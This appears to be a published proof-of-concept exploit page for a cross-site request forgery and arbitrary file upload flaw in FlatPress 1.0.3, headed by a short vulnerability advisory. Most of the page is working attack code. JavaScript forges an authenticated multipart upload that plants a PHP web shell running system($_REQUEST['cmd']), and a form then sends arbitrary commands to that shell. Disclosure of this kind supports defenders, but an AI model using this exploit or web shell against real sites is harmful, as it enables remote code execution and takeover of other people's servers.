Flatpress 1.0.3 – Cross-Site Request Forgery / Arbitrary File Upload
<!DOCTYPE html> <!-- FlatPress 1.0.3 CSRF Arbitrary File Upload Vendor: Edoardo Vacchi Product web page: http://www.flatpress.org Affected version: 1.0.3 Summary: FlatPress is a blogging engine that saves your posts as simple text files. Forget about SQL! You just need some PHP. Desc: The vulnerability is caused due to the improper verification of uploaded files via the Uploader script using 'upload[]' POST parameter which allows of arbitrary files being uploaded in '/fp-content/attachs' directory. The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform actions with administrative privileges if a logged-in user visits a malicious web site resulting in execution of arbitrary PHP code by uploading a malicious PHP script file and execute system commands. Tested on: Apache/2.4.10 PHP/5.6.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5328 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5328.php 04.04.2016 --> <html> <title>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC</title> <body> <script type="text/javascript"> function exec(){ var command = document.getElementById("exec"); var url = "http://localhost/flatpress/fp-content/attachs/test.php?cmd="; var cmdexec = command.value; window.open(url+cmdexec,"ZSL_iframe"); } function upload(){ var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/flatpress/admin.php?p=uploader&action=default", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary1Ix0O1LgWmzQa0af"); xhr.withCredentials = true; var body = "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + "\r\n" + "5a462c73ac\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" + "\r\n" + "/flatpress/admin.php?p=uploader\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"test.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\x3c?php\r\n" + "system($_REQUEST[\'cmd\']);\r\n" + "?\x3e\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af\r\n" + "Content-Disposition: form-data; name=\"upload\"\r\n" + "\r\n" + "Upload\r\n" + "------WebKitFormBoundary1Ix0O1LgWmzQa0af--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <h3>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC Script</h3> <form action="#"> <button type="button" onclick=upload()>Upload test.php file!</button> </form><br /> <form action="javascript:exec()"> <input type="text" id="exec" placeholder="Enter a command"> <input type="submit" value="Execute!"> </form><br /> <iframe style="border:2px;border-style:dashed;color:#d3d3d3" srcdoc="command output frame" width="700" height="600" name="ZSL_iframe"> </iframe> <br /> <font size="2" color="#d3d3d3">ZSL-2016-5328</font> </body> </html> |